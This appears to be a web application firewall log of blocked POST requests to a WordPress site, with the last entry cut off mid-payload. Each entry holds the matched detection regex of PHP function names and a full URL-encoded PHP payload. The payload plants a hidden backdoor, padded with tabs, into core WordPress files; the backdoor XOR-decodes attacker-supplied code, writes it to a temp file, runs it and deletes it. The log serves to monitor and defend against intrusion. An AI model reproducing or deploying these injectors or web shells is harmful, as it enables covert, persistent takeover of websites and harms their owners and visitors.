["2026-05-12 22:55:46","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> OE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3972\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\n\nOE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:55:48","185.98.128.239","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AP:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDINvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3972\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nAP=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:55:50","208.181.135.74","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\ncontent-length:3995\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-mode:navigate\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/fields\/class-wp-rest-term-meta-fields.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522d%255Cx61%255Cx74%2522%252C%2520%2524_REQUEST%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522d%255Cx61%255Cx74%2522%255D%2529%253B%2520%2524ref%2520%253D%2520%2527%2527%2520%253B%2520%2524e%2520%253D%25200%253B%2520while%2528%2524e%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524ref%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524e%255D%2529%2520%255E%25206%2529%253B%2524e%252B%252B%253B%257D%2520%2524flg%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524value%2520%253D%2520array_shift%2528%2524flg%2529%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524value%2529%2520%252A%2520is_writable%2528%2524value%2529%2529%2529%2520%257B%2520%2524obj%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524value%252C%2520%2522.entity%2522%255D%2529%253B%2520%2524file%2520%253D%2520fopen%2528%2524obj%252C%2520%2527w%2527%2529%253B%2520if%2520%2528%2524file%2529%2520%257B%2520fwrite%2528%2524file%252C%2520%2524ref%2529%253B%2520fclose%2528%2524file%2529%253B%2520include%2520%2524obj%253B%2520%2540unlink%2528%2524obj%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 22:55:54","163.172.31.86","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> oM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Util.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528in_array%2528%2522%255Cx66lg%2522%252C%2520array_keys%2528%2524_POST%2529%2529%2529%257B%2520%2524sym%2520%253D%2520hex2bin%2528%2524_POST%255B%2522%255Cx66lg%2522%255D%2529%253B%2520%2524descriptor%2520%253D%2520%2527%2527%2520%253B%2520%2524b%2520%253D%25200%253B%2520while%2528%2524b%2520%253C%2520strlen%2528%2524sym%2529%2529%257B%2524descriptor%2520.%253D%2520chr%2528ord%2528%2524sym%255B%2524b%255D%2529%2520%255E%252027%2529%253B%2524b%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520session_save_path%2528%2529%255D%2529%253B%2520%2524pgrp%2520%253D%25200%253B%2520do%2520%257B%2520%2524mrk%2520%253D%2520%2524entry%255B%2524pgrp%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524pgrp%2520%253E%253D%2520count%2528%2524entry%2529%2529%2520break%253B%2520if%2520%2528%2521%2521is_dir%2528%2524mrk%2529%2520%2526%2526%2520%2521%2521is_writable%2528%2524mrk%2529%2529%2520%257B%2520%2524element%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524mrk%252C%2520%2522.val%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524element%252C%2520%2524descriptor%2529%2529%2520%257B%2520include%2520%2524element%253B%2520%2540unlink%2528%2524element%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524pgrp%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20